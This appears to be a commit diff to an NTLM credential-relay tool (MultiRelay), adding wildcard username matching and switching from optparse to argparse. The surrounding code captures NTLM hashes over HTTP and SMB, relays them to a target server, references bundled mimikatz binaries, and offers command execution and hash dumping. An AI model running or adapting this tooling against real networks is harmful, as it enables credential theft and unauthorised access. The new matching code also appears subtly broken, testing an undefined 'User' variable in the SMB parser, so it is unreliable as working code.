guly: added support for wildcard in usernames, moved from optparse(deprecated) to argparse

This commit is contained in:
Sandro "guly" Zaccarini 2017-04-11 15:31:56 +02:00
commit fb1aba66f4
2 changed files with 89 additions and 79 deletions

View file

@ -18,10 +18,12 @@ import sys
import re import re
import os import os
import logging import logging
import optparse import argparse
import time import time
import random import random
import subprocess import subprocess
import itertools
import fnmatch
from threading import Thread from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try: try:
@ -50,32 +52,21 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe" RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
parser = argparse.ArgumentParser()
def UserCallBack(op, value, dmy, parser): parser.add_argument('-t',action="store", help="Target server for SMB relay. Can be used multiple times.",dest="Target")
args=[] parser.add_argument('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
for arg in parser.rargs: parser.add_argument('-u', '--UserToRelay', '--UsersToRelay', help="Users to relay. Use '-u ALL' to relay all users or wildcard to relay users like '*.admin.'. Usernames are case sensitive.", action='append',nargs='+',dest="UsersToRelay")
if arg[0] != "-": parser.add_argument('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
args.append(arg) parser.add_argument('-d', '--dump', action="store_true", help="Dump hashes (scripting)", dest="Dump")
if arg[0] == "-":
break
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0]) options = parser.parse_args()
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
options, args = parser.parse_args() if options.Target is None:
if options.TARGET is None:
print "\n-t Mandatory option is missing, please provide a target.\n" print "\n-t Mandatory option is missing, please provide a target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
if options.UserToRelay is None: if options.UsersToRelay is None:
print "\n-u Mandatory option is missing, please provide a username to relay.\n" print "\n-u Mandatory option is missing, please provide a username to relay.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@ -89,9 +80,11 @@ if not os.geteuid() == 0:
OneCommand = options.OneCommand OneCommand = options.OneCommand
Dump = options.Dump Dump = options.Dump
ExtraPort = options.ExtraPort ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay UsersToRelay = list(itertools.chain(*options.UsersToRelay))
if 'ALL' in UsersToRelay:
UsersToRelay = ['*']
Host = [options.TARGET] Host = [options.Target]
Cmd = [] Cmd = []
ShellOpen = [] ShellOpen = []
Pivoting = [2] Pivoting = [2]
@ -114,7 +107,7 @@ def ShowWelcome():
print 'If you do so, use taskkill (as system) to kill the process.' print 'If you do so, use taskkill (as system) to kill the process.'
print color('*/',8,1) print color('*/',8,1)
print color('\nRelaying credentials for these users:',8,1) print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1) print color(UsersToRelay,4,1)
print '\n' print '\n'
@ -262,7 +255,7 @@ class HTTPProxyRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@ -359,7 +352,7 @@ class HTTPRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@ -446,7 +439,7 @@ class SMBRelay(BaseRequestHandler):
else: else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash. #and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UsersToRelay,Host[0],Pivoting)
if Username is not None: if Username is not None:
##Got the ntlm message 3, send it over to SMB. ##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")

View file

@ -24,6 +24,7 @@ import re
import datetime import datetime
import threading import threading
import uuid import uuid
import fnmatch
from RelayMultiPackets import * from RelayMultiPackets import *
from odict import OrderedDict from odict import OrderedDict
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
@ -100,7 +101,7 @@ def IsSMBAnonymous(data):
else: else:
return False return False
def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting): def ParseHTTPHash(data, key, client, UsersToRelay, Host, Pivoting):
LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0] LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
@ -130,7 +131,10 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
else: else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay: UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if Pivoting[0] == "1": if Pivoting[0] == "1":
return User, Domain return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User) print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
@ -139,7 +143,7 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
return None, None return None, None
else: else:
return User, HostName return User, HostName
else: if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(User) print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None return None, None
@ -162,7 +166,12 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
pass pass
else: else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay:
UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if Pivoting[0] == "1": if Pivoting[0] == "1":
return User, Domain return User, Domain
@ -173,12 +182,12 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
return None, None return None, None
else: else:
return User, Domain return User, Domain
else: if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(User) print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None return None, None
def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2 def ParseSMBHash(data,client, challenge,UsersToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP') SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:] SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0] LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@ -207,7 +216,11 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass pass
else: else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if Pivoting[0] == "1": if Pivoting[0] == "1":
return Username, Domain return Username, Domain
@ -217,7 +230,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
return None, None return None, None
else: else:
return Username, Domain return Username, Domain
else: if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(Username) print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None return None, None
@ -241,7 +254,11 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass pass
else: else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445))) print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if Pivoting[0] == "1": if Pivoting[0] == "1":
return Username, Domain return Username, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username) print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
@ -250,7 +267,7 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
return None, None return None, None
else: else:
return Username, Domain return Username, Domain
else: if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(Username) print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None return None, None